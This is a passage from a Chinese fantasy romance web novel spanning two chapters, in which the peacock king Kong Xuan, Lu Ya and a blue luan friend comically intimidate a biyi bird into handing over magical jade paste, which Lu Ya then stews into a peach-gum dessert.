黄鼠狼捂着胸口颤颤巍巍, 从嘴巴里吐出一口黑黝黝的烟气,整只鼠被法律的铁拳打得晕头转向, 啪叽一下摔倒在地上。 “……你还不如直接说我是十八岁年轻貌美胸大腰细家财万贯爱你终身不悔的绝世大美人!” 黄鼠狼悲愤大叫,彻底晕死过去。 正装死之际,一根东西直往它的脑门上戳。 它装不到几秒,眼睛忍不住睁开一边, 小心翼翼地转动眼珠,视线里出现了孔宣的脸。 孔宣蹲在地上用一根筷子戳它的脑门,动作毫不客气,一只手撑着下巴,颇为好奇地盯着它看。 “这么熟练,小黄鼠狼,请过几次封了?” 还没变成人,真倒霉。 他眼尾上挑,面上颇为玩味,一头青丝披在身上,越发显得肤白貌美、颜色秾烈,一看就是得道大妖。 黄鼠狼的眼睛滴溜溜地转动着,缓缓落在他身后的男人身上。 陆压围着围裙,面上喜怒不形于色,只是用那双幽深的眸子盯着它,眸色如出鞘的利刃折射出刀光剑影,面色沉沉如冰令人难以捉摸。 像是会随时掏家伙动手的那种狠人! 黄鼠狼歪着脑袋试图装死,孔宣面色不耐,颇为凶残的威胁:“再装就把你下锅煮了。” 黄鼠狼“哇”地一声捂着脑袋崩溃地哇哇大哭:“不要杀我不要杀我哇——” “大老爷,我只是想讨个封成精,还遇到了好多奇葩人,现在的人太奇葩了,都想着不劳而获,几百年修行没了不说还挨雷劈,我真的没害过人的哇!” “呜呜呜呜——” 黄鼠狼崩溃大哭,哭得眼泪汪汪,眼泪珠子淌了一地,黑黝黝的脸上淌出两道明显的泪痕。 更像是只可怜兮兮的小挖煤工。 “哟哟哟,哭得这么惨。”孔宣被它哭得头疼,立刻大喊一声嫌弃制止:“行了行了,不就是成精嘛,至于吗?” 当只妖精又没什么不好的,他们原初的时候,没哪个妖怪想着当人,都很狂放地用本体放飞自我。 黄鼠狼:“呜呜呜!” 孔宣被吵得头疼,最重要的是,好吃的饭就在眼前,一只黄鼠狼挡着碍事。 他思考了一会儿:“不就是化形嘛,简单。” 黄鼠狼眼泪汪汪,满脸期待地看向他,眼神里满是崇拜:“真的吗?大佬。” 孔宣一脸轻松:“真的。” “不过嘛~”他歪过脑袋,笑眯眯的双手交叉抵在下巴上漫不经心的拖长语调。 浓密的黑发从他肩头如瀑布一般散落,他眉眼朦胧进阴影里,如烟雾梦幻,只一双泛青的瞳孔偏转到它的身上。 黄鼠狼面露期待。 孔宣笑了一声,促狭的眼眸斜睨向它:“你愿意付出什么代价呢?” “小黄鼠狼。” 漫不经心的话语像一计重锤,“咚”的一声,小黄鼠狼的脑中刹那清明,它挠挠耳朵抓抓肚皮,一阵掏耳挠腮,急得在原地团团转。 对方这么轻描淡写的语气,一看就是位大仙。 可小黄鼠狼纠结半天,最终犹犹豫豫地掏出了一枚玉镯,垫着小爪子努力递到孔宣手里。 “我只有这个了。” 几百年的末法时代,就算真有什么好东西也轮不到一只还没讨封的黄鼠狼,就算最近疑似灵气复苏,也和这种小妖怪没什么关系。 拿得出手的,只有战乱时期藏匿起来的一点金银玉器。 这种大佬对这些凡品肯定是不屑一顾。 小黄鼠狼垂头丧气地捂着脸,耸拉着耳朵尾巴,已经心灰意冷了。 这枚玉镯晶莹剔透,呈现出一种玻璃的种水质感,整体泛着青色,种水透亮,一眼就是上好的翡翠玉石。 被小黄鼠狼从毛毛里摸出来递到孔宣手中,孔宣用两根手指勾着转了几圈,随手套在手腕上。 他手腕纤细,淡淡的经脉在手背上蜿蜒,透出性感的色彩,扣上青色玉镯,更显肤白玉润。 “好看吗?”孔宣举手问陆压。 陆压不懂玉,但是他的目光在孔宣脸上驻足两秒:“好看。” 孔宣歪头一笑,像是一尊漂亮的白瓷,周身萦绕着轻盈、欢快的情绪。 “好了,你的报酬我收下了。” 听到这个回答,黄鼠狼把头一抬,一脸懵地挠挠腮帮子:“真的?真的!” 它简直大喜过望,高兴地蹦跳两下,后怕的眼神悄悄落在了陆压身上。 陆压面不改色:“下次不许了。” 是不追究非法讨封的意思。 黄鼠狼更加高兴,讨喜地连连摇手,连声说:“你们真是好人!” 它满脸期待,崇拜地看着孔雀大王:“大佬,我们什么时候开始?” 孔宣大王大手一挥:“不急,你三天后再来。” 他面上信心满满,俨然是早已胸有成竹,胜券在握。 黄鼠狼高高兴兴地走了,剩下一堆从身上掉下来的灰渣,俨然被雷劈得不轻。 陆压摇头:“时代变了。” 非法讨封不可取。 妖管局针对山海关内仙家讨封早有一套应对流程,先是申请讨封,再安排人帮它回答,并签订契约讨封成功与否不许追究双方责任。 这只黄鼠狼不知道从那座山上下来的,怎么过得山海关,连妖管局合法讨封都不知道,自己瞎找人,把自己的修为都给劈没了。 陆压相信孔雀大王真有本事,神话里说了,仙人点化成精。 他将新的筷子递给孔宣,假装不经意地问孔宣:“三天后是什么黄道吉日适合点化精怪吗?” 孔宣兴致勃勃地准备开饭,听到这个,他咬着筷子一脸懵。 “什么点化?” 陆压:? 两个人两眼对视,两眼茫然。 按照妖管局的研究来看,所说的点化大概率是某种灵气传导,质变引起量变,往往需要在天时地利人和的时机,借用场景内的灵气。 然而陆压的脑袋只剩下几个字。 神话骗人! “点化就是……”陆压试图用妖管局的书面研究描述一下。 孔宣一下子get到了,他“啊”了一声,意味深长地睨了陆压一眼:“你还懂这个。” “也不是没有,不过按照现在的情况来说不太可能。” 他架起腿,又露出了一副专业大佬的深沉模样,双手交叠面露严肃:“点化相当于你们人类将血输入别人体内,以质变达成量变。” “原本天地到处都是可以输送的血液,灵气衰竭之后,天地间灵气消亡,点化几乎成为了不可能的事情,你会无缘无故抽空自身血液送给别人吗?” 孔宣看向陆压,眼中闪烁着名为专业的锐利。 陆压虚心求教:“那大王三天后是打算……?” 提到这个孔宣哼哼两声,从来是陆压从容淡定,涉及到自己专业的事,孔雀大王又支棱起来了。 他下巴微扬,脸上的笑容变得神秘莫测,带着某种恶劣到戏谑的恶意。 “你有没有听过吞石成仙?” 人类吞服仙石,以达长生得道。 而所谓的仙石,其实是某种存储灵气的物质,吞石成仙是以极端的灵气异化自身,以达到妖化成仙的目的。 “我们可是餐厅诶,吞石成仙,多符合我们的业务范围。” 孔宣打了一个响指,眉飞色舞地跟陆压描述。 “密山的玉膏,就是一种“仙石”,它是一种似玉的软膏,在密水中堆积生长,它的灵气足以令一只黄鼠狼化身为人。” 至于这种化形和讨封有什么区别,那就是另外的价钱了。 那只黄鼠狼可是付了一枚玉镯的报酬呢。 孔宣冲陆压扬眉,笑起来容光明亮,张扬似霞光绽放,抬眉一瞥肆意明媚,亮晶晶的眼就这么看着他。 陆压的视线只在他手腕上漂亮的玉镯一晃而过,视线定定地落在他明媚欢快的眉眼。 他弯了下唇,问出了关键问题:“那我们怎么去找玉膏呢?” 这就问到重点了。 孔宣得意哼哼,故作神秘的拖长语调:“当然是——” 他装模作样地钓足了胃口,等陆压的所有注意都落在自己身上,露出好奇的表情,他才神采飞扬地宣布:“问问那只繁殖癌的比翼鸟!” “比翼鸟的繁衍地就在密山,它们从出生起就饮密山水吃水玉膏,几乎只只成精,得道修行,他手里绝对有!” 至于对方不给?这就不在需要考虑的范围内了。 陆压:“……大王,抢劫是犯法的。” 这个主意很刑。 “可我又不是人。” 从来我行我素的孔雀大王哼笑一声,抚了抚长发,自信又张扬。 人抢人是犯法,鸟抢鸟那叫物竞天择! 何况孔雀大王的事能叫抢吗?那是上供,是自愿给予,正经保命。 在以前,这种比翼鸟他一口一个。 “我只是要点玉膏,他就偷着乐吧。” 陆压默然无言,最终选择将一块鸭肉夹进大王碗里:“先吃饭吧大王。” 好吃的鸭子进了碗,孔宣顿时将这件很刑的事抛之脑后,拿着筷子端起碗就开始猛猛干饭。 鸭肉细嫩,汤汁咸中带着一丝丝啤酒的甜味,在口中咀嚼着。 孔宣脸上的表情实在是太有食欲了,他嘴角上挑,白软的腮帮子咀嚼着,贪心的目光直往锅里钻。 吃着碗里的,看着锅里的,孔雀大王一脸平常,似乎孔雀天生就是这么贪心的。 猛猛干了三碗饭后,两人吃饱喝足,早早上了楼开始休息。 孔宣霸占了陆压的躺椅,翻着手机,脑袋往后一仰,透过倒转的视角望向陆压。 “鸦,你去吗?” 陆压问:“去哪?” “找那只比翼鸟。” 坐在椅子上看书的陆压无声将手中的书扣在孔雀大王脸上,孔宣眼前一黑,顿时气得哇哇乱叫,手脚乱蹬一通,好不容易把书拨开,陆压朝他低下了头。 孔宣的脑袋还枕在躺椅上,陆压站在他的旁边低下头,眼睛看着眼睛,性感的喉结在他眼前滚了滚,低沉的嗓音通过喉管振动发声。 陆压低沉地说:“如果你被抓了,我会去动物园捞你的,大王。” “啊——”气炸! 孔宣顿时一顿扑腾,势要让陆压看看自己的厉害。 对着空气一顿拳打脚踢,孔宣气呼呼的,牙齿重重磕了几下,试图用张牙舞爪的表情恐吓陆压。 陆压把书往他脸上一盖,冷静地说:“大王,现在监控遍地都是,我建议先敲门进去再开打,你觉得呢?” 孔宣哼哼:“我觉得不行!” 陆压拧起眉,将书本掀开,气呼呼的孔雀大王抱着手臂对他怒目而视。 “我觉得他不敢反抗我。”孔雀大王很是自信。 他自信十足地扬起头,面上的得意只多不少。 一只修炼成精的比翼鸟,在他面前也不过如此,他依旧能一口一个嘎嘣脆。 也就是孔雀大王现在脾气好了,以前原初时代大家都凶残,这种弱了吧唧的小鸟他一口一个。 陆压垂眸与他对视,最终无奈表示:“好吧,大王。” “我会跟你一起去的。” 如果被抓了,那他们就关一间牢房里好了。 陆压冷静地想。 “你在想什么东西?”孔宣目光幽幽。 陆压不假思索:“在想要是被抓了,进一间牢房的概率有多大。” 说完他话语一顿,下意识地看向孔宣。 孔宣真的无语了。 “好悲观啊,陆鸦鸦。”他竖起书本,遮住自己的半张脸,只露出一双灵动狭长的眼睛,正目不转睛地盯着陆压。 陆压这个想法对于孔宣来说十足新奇,他摇了摇摇椅,整个人随着摇椅“吱呀”晃动,视线也跟着上下打量陆压。 他是左看看右看看,怎么都想不出陆压为什么会这么觉得。 “我觉得那只比翼鸟会把玉膏直接献给我。” 孔宣说着,将陆压翻的书翻了两页,一把拍在他的胸前用力地拍了拍。 “就像你现在看的这几页一样。” 他冲陆压眨了眨眼,一下子翻身而起,随手将散落的长发束起。 陆压的视线随着他转,只能看到他潇洒离去的背影。 拍在身上的书本往下掉,陆压低头翻了两页,忍不住弯起唇角哑然失笑。 ——论神鸟在华夏民族图腾中的重要性 ——祭祀山神的基本步骤一、二、三 孔宣扎着头发进了浴室,他歪坐在洗手台上,任由淋浴的水洒在他的身上,蒸腾起朦胧的雾色。 镜子沾着水珠一半朦胧一半清明,将斜靠在镜子上的人照得分明。 镜子清晰地照出他白得发光的肌肤,也将暗色的刺青照得鲜明漂亮。 明亮的白昼灯下,孔宣歪过脑袋,眼神斜睨着投向镜子,他后颈的妖纹,一圈熟悉的火纹围绕着一只展翅的飞鸟缠绕旋转。 他抿着唇,潮湿的殷红点缀唇间万分张扬,他分明眉眼深重秾烈,偏偏肤白赛雪,更显得五官浓墨重彩,笑起来时漫不经心的模样足以魅惑众生。 孔宣伸手抚摸过后颈的妖纹,重点掠过与陆压身上如出一辙的圆形火纹,似笑非笑地喟叹:“你怎么还是这么规矩。” 这么规矩,像个木头。 孔宣一撩头发,长发披散,他湿着发尾爬上床,拍了拍旁边的位置:“陆鸦鸦,坐过来坐过来。” 他双眼晶亮,小脸白净绵软,不知道又打什么主意。 陆压注意到他发尾潮湿,身上的衣服也换成了绵软的睡衣,松松垮垮地挂在身上,露出一部分形状漂亮的锁骨。 刚洗完澡,身上还带着沐浴露的香气。 是淡淡的青竹的香气。 陆压手里还拿着书,被他招了几声,一同坐在床上,目光探究。 他们俩的距离还是太远了,孔宣歪过脑袋,直接扯着陆压的领子拉向自己,手指灵活地钻进男人的衣服里。 “我教你藏妖纹吧。”他长眉斜飞,说是问句,手已经钻进了陆压的领子。 陆压一把抓住孔宣的手,孔宣目光清正,清凌凌地与他对视。 倒像是真的想教他。 陆压飞快松开手,眼睫抖动几下,面色隐忍:“……今天吗?” 孔宣面色正经,一本正经地与他对视,最终没忍住“扑哧”笑了起来,直接笑倒在床上。 “陆鸦鸦,你怎么搞得好像我强抢民男一样。” 孔宣笑得停不下来,抱着肚子在床上滚了滚,笑得喘不过气,一个劲地大抽气。 实在是憋不住笑,他歪倒在床上,也不管衣领凌乱,斜着头睨人。 “我孔雀大王今天就要临幸你,怎样?” 孔宣一把叉腰,得意地扬起下巴,因为仰躺的姿势,凌厉的眉眼都添加了几分绵软,笑哼哼地逗人。 他一把扯过陆压的领子,近距离地观测下,他的眼睛往下弯起,也是笑的模样。 眼波流转间笑意如光影在眸中荡漾,语调飞扬满是调笑:“给不给睡,嗯?” 陆压被他拽倒,半压在他的身上,只靠手臂支撑着距离。 如此直白的距离俨然突破了界限,陆压却看着他带笑的眼睛略有点失神。 他喉咙滚动,被手指追着搔弄,更是激起无限痒意。 陆压一把攥住孔宣的手,在孔宣挑衅的目光中,他抽身离开。 “……需要我做什么?” 孔宣点了点下巴,无趣地扁扁嘴巴:“木头。” 他咕哝几声,一把翻身坐起,随便卷了卷书抵在嘴边,装模作样地咳嗽两声。 “首先妖纹呢……” 对于妖族来说,妖纹是力量的体现,它记录、呈现自身的状态,如图腾般宣告着自身的血脉。 越杂乱的血脉妖纹里所掺杂的种族则越多,像是某种直白的基因谱系,是根植在血脉中最鲜明的一环。 陆压身上的妖纹直白而鲜明,一根枝干贯穿他的脊骨,火焰点缀周围,围绕着尚未绽开的羽茧形成圆环缠绕,既是保护也是力量谱系的佐证。 对于早期的妖族来说,妖纹是辨识对方的一环,越强盛的妖族妖纹则越加鲜明狰狞。 而随着时代过去,妖族越发信奉人形为尊,逐渐认为妖纹会暴露自身情况,是蛮荒无礼的象征。 孔宣提起正事,语气逐渐正经起来,他的手指点在陆压的喉骨,逐渐往下摸索到丹田的位置。 “记住灵气走向,然后慢慢把你的力量收进去……” 陆压闭着眼睛,感受到体内的力量如抽丝剥茧般从皮肤外抽走收缩,逐渐在丹田形成一个茧团。 他所看不到的是,他背部早已茂盛的青色枝条逐渐细缩弱化,从盘踞半生的脊骨抽走。 而最上方的羽茧绽开一角,露出交颈的两只鸟纹,熟悉的孔雀羽与鸦羽交错一起。 只从中心泄露出一个缝隙,随着链接成环的火纹细缩一起,羽茧收缩,又缩回茧型,死死锁住了即将焕发的生机,无声无息地消失在皮肤表层。 孔宣歪着脑袋,亲眼看见孔雀羽在眼前绽放又被鸦羽收缩。 一切光彩藏匿于他的眼中,他眼睛晶亮,一瞬不瞬地盯着陆压的后颈。 他早已知晓,早已看见。 一切都毫无意外。 30-40 第31章 第31章桃胶炖玉膏2 “叮铃…… “叮铃——” 周末的早晨, 街道上早早响起汽车鸣笛与人□□谈声,逐渐热闹的氛围随着太阳向上逐步攀升越发喧闹繁杂起来。 临街的店铺静静矗立在闹市之中,迟迟没有开门,少不得被人指指点点讨论上几句, 讨论完又成群结队嘻嘻笑笑地离开了。 衣着打扮风雅松弛的青年骑着自行车, 在街口拐过弯在店前停下, 手下拨弄着车铃,“叮铃叮铃”的声音伴随着他的呼唤声一起响起。 “孔宣孔宣——” 孔宣打着哈欠, 从窗户探出头,看到下面的人顿时笑骂:“哟, 这谁啊,闲得没事到我楼下叽叽喳喳。” “当然是来找你了。” 来找孔宣的青年眼眸一弯,年轻隽秀的脸像是校园里的年轻学生,骑了个自行车来,更像是来等朋友一起上学了。 他在窗户下扬声和孔宣说笑:“都几点了, 你怎么还没起来?不开餐厅了?” 孔宣:“哼,要你管。” 这屋子里的两个人昨天晚上敢连夜讨论了一通妖纹的妙用, 在周末肆意地睡到了早上九点, 有人找才不情不愿起身。 陆压下楼给人开门,对方笑意盈盈, 像是来朋友家做客跟家长自我介绍。 “你好你好, 我是穆怜青,是一只青鸾。” 他们在鲲鹏逝去那天见过, 还一起抓过无损兽,最重要的是昨天介绍了一只比翼鸟过来帮衬生意。 ——虽然对方有点奇葩过头。 穆怜青和陆压不熟,称得上只有一面之缘,但陆压却知道他。 妖管局对一些原初大佬的现状有所记录, 每个行动组的成员都会背下那份资料。 穆怜青,青鸾,经过妖管局的帮助考进邮电大学,毕业之后突发奇想深造艺术,研究生毕业后开创了自己的个人画室,以自然和谐画风为主,画面美丽生动,是国内外很有名气的自然派艺术家,喜好旅居,居无定所,性格相当和善温和。 妖管局判定威胁性只有40分,伤人的可能性比路边的猫咪都低。 他衣着干净,穿着宽大的上衣长裤,像是个文艺的艺术生,温吞吞地背着一个漂亮背包,走动里面的画具发出细微响声。 确实如资料里所说,性情温和平缓。 察觉到陆压的视线,穆怜青扭过头冲陆压弯了弯眉眼,大大方方从包里拎出一袋香蕉:“冒昧来访,不要介意,吃根香蕉吗?” 陆压摇头拒绝,穆怜青毫不见外地将要送人的香蕉拨开自己尝了一个。 “你来干什么?” 孔宣衣衫宽松,懒洋洋地从楼梯下来,衣领凌乱地露出锁骨,任由长发披在肩头,显得慵懒随性。 他对青鸾的到来很不在意,眼下泛着困倦水光,还忍不住打了一个哈欠,低头自顾自地扣扣子。 穆怜青“唔”了一声:“你吃香蕉吗?” 孔宣睨了他一眼,穆怜青没有把自己买的香蕉推销出去,显得非常可惜,眉眼垂落可怜巴巴地与孔宣对视。 最后孔宣没有办法,和穆怜青排排坐,像两只聚众的小动物聚在一起啃香蕉吃。 熟透的香蕉金黄漂亮,一口下去又软又糯,甜丝丝的非常适口。 孔宣一边吃,一边不耐烦地用眼神扎他。 穆怜青一边剥香蕉皮一边慢吞吞地说:“我想和你一起去。” “去哪?”孔宣扬眉。 穆怜青亮出手机,赫然是昨天孔宣叫嚣着要去找比翼鸟勒索玉膏的消息。 当然,孔雀大王的事能叫勒索?那叫上供。 “我也要和你一起去玩。”穆怜青眉眼弯弯,笑得格外无害,说出来的话却有种天真的残忍:“我可以帮你一起教训那个家伙。” 他孔宣还不了解吗? 这话一出,孔宣眉梢一挑,抚了抚长发,漫不经心地拖长尾音,尾音上挑起张扬的声线:“是为了教训鸟还是想吃玉膏?” 他侧身勾住这只青鸟的脖子,颇有几分威胁的架势,不说实话就把鸟咔嚓了。 比起气势凶残的孔宣与陵光,青鸾性格温和,无素不欢的食草动物,他对打打杀杀没有兴趣。 不过。 “别这么说嘛,毕竟人也是我介绍的,没好好筛选我也有错,没想到对方想法那么极端。” 穆怜青满脸无辜地眨眨眼,又悄悄说:“你要玉膏,是准备让小陆压炖着吃?炖多少?我带了点炖甜水的东西。” 居然是惦记陆压的厨艺。 这燕国地图也太短了。 孔宣顿时大声嘲笑。 两只鸟聚在一起,手勾着手肩膀搭着肩膀,叽叽咕咕不知道聊了什么,没一会儿就一脸开心地决定要一起去了。 孔宣义薄云天,没有忘记他的真正战友陆压,揽着穆怜青的肩膀去找陆压。 “鸦,这家伙和我一起去,你要去吗?” 两只鸟搭在一起,走路都显得嚣张了不少。 孔宣眉飞色舞,搭着穆怜青的手使劲拍了拍他的肩膀,一脸“这家伙很靠谱”的表情。 穆怜青笑得含蓄温和,眼里却满是兴味,攥着肩上的背带,显然对这件事还有点小激动。 两个人齐刷刷地看着陆压,陆压的视线在他们两人身上转了一圈,突然有一种没做过坏事的好学生被带坏的感觉。 陆压目光定在孔宣揽住穆怜青的手,几息之后才说:“大王不打算带我吗?” 他面上不动声色,只有一双黝黑的眸子定定地注视着孔宣,细看下隐约还有些许委屈的意味在。 毕竟大王去哪可从来没想过不带他。 孔宣被这幽幽的目光盯着,忍不住得意地哼笑一声,故意说:“你不是怕到时候和我关一间牢里?这不给你捞人的机会,一捞捞两个,捞一送一。” 他脸上的嘚瑟太明显,玩笑的意味下,显然自信满满。 所谓被偏爱的才会有恃无恐,他根本不怕陆压不去,还故意调侃他昨天的话。 记仇的孔雀大王。 陆压心下好笑:“我错了大王,你就带带我吧,我也很想去。” 他说话认真,如孔宣所愿露出一脸期盼,就这么看着孔宣,直把孔雀大王看爽了,身上的羽毛都要支棱起来了。 孔宣浑身舒爽,嘴角的弧度疯狂上挑。 陆压再接再厉:“大王,你不会留我一个人吧?” 被他用这样控诉的眼神看着,孔宣飞速干咳两声,已经被吹捧得飘飘然了,傲气的小表情眼看着嘴角就要翘到天上去了。 他傲娇表示:“既然你这么想去,那我们就一起去吧。” 陆压又是一通吹捧。 穆怜青眼睛看看这样看看那个,露出一脸若有所思。 那只比翼鸟在大厂当程序员,天天996加班,昨天来估计是请假,按理今天不在家。 不过没关系,孔宣提早通过青鸾给他发了追杀令,保证他现在肯定是乖乖在家,哪都不敢去。 孔雀大王的警告直白至极,直接一句话直接表示他要上门找他,让他在家里等死,敢逃就找个人多的地方给他杀咯。 非常霸道。 大自然就是这么残酷。 孔宣戴着墨镜,插着兜,愉悦地哼笑一声,身后跟着穆怜青和陆压两人,活像是大佬出街,气势汹汹走路带风,每个人都帅气。 他们成群结队地找上门,收到警告信的比翼鸟听到敲门声,顿时一个弹跳直接跳了起来,飞速打开大门。 只见戴着墨镜的孔宣气势凌人,面上不见晴雨,身上似乎裹挟着消不灭的硝烟,逼得比翼鸟步步后退,他踩过门槛,一步一步突破安全距离。 随着孔宣的逼近,身后走进来的穆怜青提着一袋子香蕉,笑眯眯朝比翼鸟点头:“小蛮,吃根香蕉吗?” 香蕉…… 香蕉?香蕉是什么暗语?新的折磨手法吗? 比翼鸟瞳孔地震,眼神惊恐地下意识在穆怜青和孔宣的身上转了几圈,喉管“赫赫”说不出一句话,紧张得直咽口水。 又一次没有推销出自己买的打折香蕉,穆怜青极轻极轻地叹了口气。 这一声叹气,快把比翼鸟给吓跪了。 紧接着,又一道脚步声响起,他惶恐抬头,就见身材高大的男人走了进来。 陆压神色冷淡,只是往门口一站,便似一根定海神针,令人难以捉摸。 比翼鸟不免回想起陆压在妖管局的传闻,传说清扫组的组长陆压是妖管局训练的人形兵器,以极致的妖力杀穿天下,曾孤身在边境与外域神明对峙不落下风。 这样的他,杀一只勉强苟活的比翼鸟,简直、简直…… 比翼鸟快要崩溃了,从接收到警告信的一瞬间,他就生活在惶惶不安中。 “对不起对不起对不起对不起对不起——” 面对重重威胁,比翼鸟扑通一声跪倒在地,泪流满面,破音的嘶吼声声泣血,喊得比杀猪还要悲怆三分。 “我再也不敢勾搭明王殿下了!我再也不敢约炮了……放过我吧!下次再也不敢了!我真的知道错了!!!” 穆怜青到嘴的香蕉哒叭一下掉到地上:??? “约、约谁?!” 孔宣原来是可以约的吗! 穆怜青第一时间扭过脑袋,目光在黑脸的孔宣身上转了一圈,下一秒他看向陆压,恍恍惚惚地将手送进嘴里。 呜咽着发出极度羡慕的声音:“可恶,我也想约!” 超级漂亮火辣的孔雀明王! 想约。 孔宣一脸黑线地摘下墨镜:“你约个屁!” 墨镜被他一手捏碎,他面色发狠,一把拽过哭得涕泗横流的比翼鸟,语气冷冽:“少胡说。” “把玉膏交出来,饶你不死。” 比翼鸟迷茫一瞬:“玉膏?玉膏!” 他拔高声音,瑟瑟发抖的思绪终于转过弯来,眼泪朦胧地抽泣。 “您、您要这个,直接说就好了……” 还以为自己要死了,结果就要这个? 比翼鸟劫后余生,立刻绽开笑容,眼泪还挂在脸上,整只鸟又哭又笑的,表情都狰狞了。 他爬也爬得飞快,手脚并用快速地钻进房间里,没一会儿就抱了个陶罐出来。 在孔宣的冷眼下,他小心翼翼地递上陶罐,半斤装的陶罐古朴漂亮,表面刻满了日晷花纹,日升月落在圆轮中辗转升起。 孔宣拿到手中掂了掂,剥开盖子之前,霸道地斜睨他:“都在这了?” “嗯嗯!”比翼鸟点头飞快,深怕慢一点掉了脑袋。 眼睛是一点也不敢看孔雀大王,低着头忙不迭地说:“都在这里了,都在这里了。” “您要这个跟我说一声,我给您送过去就好,没必要、没必要……” 比翼鸟脸上挤出一个勉强的笑容,讨好、紧张的情绪来回闪烁,忍不住搓了搓手,小声蛐蛐:“就这点东西,直接叫我送过去不就好了。” 怎么有人为了一口吃的下追杀令! 虽然这口吃的比较稀有,但对于比翼鸟一族来说更像是一个故土寄托。 现在灵气复苏,说不定什么时候密山拔地而起了,到时候大家都回家去了,就不在乎这一口吃的了。 比翼鸟缓过神来,偷偷看孔宣的表情,孔宣掂着手里的陶罐表面看了一圈,剥开泥封往里看了看。 里面沉着一块类似于豆腐一样的物质,随着他轻晃陶罐,玉膏也跟着柔软地抖了三抖。 “不错。”孔宣掂了掂罐子,面露满意。 他面上凌厉稍减,一点笑意似星火,惹得人双眼发直。 比翼鸟的色心又忍不住冒起了涟漪:“殿下,玉膏就送给您了,我、我能……我能问问您……” 比翼鸟搓了搓手,忍不住小声问:“约吗?殿下。” 所谓牡丹花下死,做鬼也风流。 何况眼前是明艳漂亮、凌然不可侵犯的孔宣明王。 要是能与明王殿下春宵一度,就是做鬼也甘愿了! 话一出口,孔宣脸上的笑意瞬间冻住,他默不作声,冷冷盯着比翼鸟的目光像是在看一个死人。 陆压无声站在孔宣身后,从来没想过出来抢劫,最值得守护的东西是孔雀大王的清白。 不,也不是想不到。 陆压冷冽的目光从比翼鸟扫到了旁边的穆怜青,这只青鸾正满脸的跃跃欲试。 他面色过于恐怖,以至于比翼鸟瞬间被吓得不敢说话,怂怂地缩了缩脖子。 “不约,滚。”孔宣冷声呵斥,随手丢下一块灵玉,酷酷地将下巴一扬,傲气十足地走了。 他不白要,上好的灵玉换一块玉膏。 比翼鸟却顾不上这些,痴痴地追着他的背影追到门口,倚在门上露出着迷的表情。 电梯门关上,将三人组的身影遮掩。 穆怜青抱着孔宣递过来的陶罐,视线在他漂亮的侧脸定了几息。 他还没说话,孔宣头也不回地说:“不约。” 穆怜青:”……我还没问呢呜呜呜。” 孔宣低垂着眼,侧脸轮廓鲜明如画,深深折入的眼尾浓到极致,浓墨重彩间越发颜色秾烈绮丽,墨色涂抹中凌厉攀附上他的眉眼显得凶狠高傲。 他眼也不抬,语气凶狠:“别逼我扇你。” 穆怜青扁扁嘴,无奈耸肩:“好吧,吃香蕉吗?” “滚。” 穆怜青又没有推销出自己的香蕉,死皮赖脸地跟着孔宣和陆压上了公交车。 陆压看了他一眼,不动声色地将他和孔宣隔开。 这只青鸾的语气总是过分熟稔,和孔宣之间的距离早已超过了安全社交距离。 直到把他排斥在安全距离,即一米之外,陆压才算满意。 只是一米的距离中间多了陆压一个,孔宣想不注意都难,眼睛转动着看向他,眼尾玩味上挑,眼神飞快甩陆压一眼。 陆压面色镇定,从口袋掏出一颗糖果:”吃糖吗?大王。” 孔宣哼笑:“吃。” 装模作样。 簌簌作响的糖纸剥开,孔宣咬着糖块,白软的腮帮子鼓起一边,连带着面色的冷冽都散去不少,显得软乎下来。 公交车载着三人晃晃悠悠地回了小店,走过繁华的街道,拐进城市里格外热闹的一边。 树荫筛碎阳光斑驳落下,砸在车窗上,摇曳着万般光色,直催得人心情宁和、昏昏欲睡。 出门前,陆压将穆怜青贡献的桃胶、雪燕、皂角米给泡上了,出门一趟回来泡得正正好。 将罐子里的玉膏掏出来,渗出半罐白水,玉膏出了水面,表面结上一层冰霜似的硬壳,切开一看内里又是软乎乎的,像是块嫩豆腐。 这水是密山水,将玉膏泡进去,表面的硬壳融化,又是一块q弹漂亮的好“豆腐”。 在炖煮之前,真切地接触到玉膏,陆压的视线完全被占据。 分明没有香味溢出,可他把玉膏从密山水里捞出来的那一刻,他的口舌不受控制溢出涎水,他几乎静置地盯着手里的玉膏。 比起用它来炖什么东西,陆压有一瞬间像是饥饿了几十年第一次面对食物,只剩下逐渐旺盛的食欲无处消减。 他不可抑制地想直接把它往嘴里塞,唯有冷静地克制压制着他的冲动。 陆压终于明白孔宣所说的,想吃什么就吃什么,此刻他真切的有强烈的进食冲动。 “你想吃?” 孔宣就在窗边看着陆压,歪着脑袋,一双漂亮的眼睛澄澈剔透,过长的头发垂下来在空中晃荡,发尾像是把小刷子,连同他的言语一同催促搔弄过陆压的心口。 他语气带笑,用那样无所谓的语气说:“想吃就吃。” 陆压思绪清晰,并没有这么做。 孔宣似乎明白他的犹豫,进一步跳上窗台,无畏地告诉陆压:“那只小黄鼠狼我会解决的。” “总会有办法的。” 孔宣从来从容不迫,似乎没有什么事是他无法做到,需要妥协的。 随性骄傲,永远是他的性格底色。 对上那双带笑的眼,陆压垂下眼睛,冷静地将玉膏分成两半。 “没关系,等下就吃到了。” 他无所谓一点等待,而且说好了给孔宣炖吃的,更不会言而无信。 更何况穆怜青还等着呢,孔宣夸下请客的海口,他怎么能让孔宣在朋友面前丢脸。 尽管有些本能作祟,陆压还是镇定自若地将半块玉膏切成整齐的小块。 他隐忍过头,连这样旺盛的食欲都能压制,依旧不动声色。 将克制刻进了骨子里,远比孔宣这种喜怒尽显的人深沉过多。 孔宣郁闷地鼓了鼓腮帮子:“木头。” 真是一个木头。 孔雀大王在,有什么是解决不了! 陆压颇为从容地往锅中加入泡好的桃胶和清水,一起炖煮一段时间,再加上雪燕、皂角米,倒入玉膏稍稍炖煮上几分钟。 煮出来的玉膏碎成一块一块融在桃胶羹里,轻轻一晃弹力十足地在里面咣咣晃动,格外丝滑可爱。 往羹中加入牛奶,牛奶丝滑的香味为这份甜品羹加入灵魂,一口下去奶香味十足。 玉膏表面像是豆腐,玉的颜色,玉的味道。 吃起来却像是固化的奶冻,煮熟后在唇间一抿,可谓是入口即化。 只有完全脱离密山水,静置一段时间后,才会凝固成玉石。 即是所谓吞石飞升中的仙石。 三人一起搬着凳子坐在厨房门口,厨房后门直通后院,桃树茵茵,暖烘烘的阳光照在身上,吃上一口桃胶炖玉膏,顿时觉得生活美滋滋。 孔宣舀起一勺玉膏,美美张大嘴巴,嗷呜一口将玉膏吞进嘴里,顿时被鲜美的甜味蛊惑,露出愉悦至极的表情。 “好吃!” 他美滋滋的,用勺子搅拌搅拌,又舀起一勺桃胶,桃胶半透明地团在一起,入口丝滑胶黏,沾着牛奶的底味。 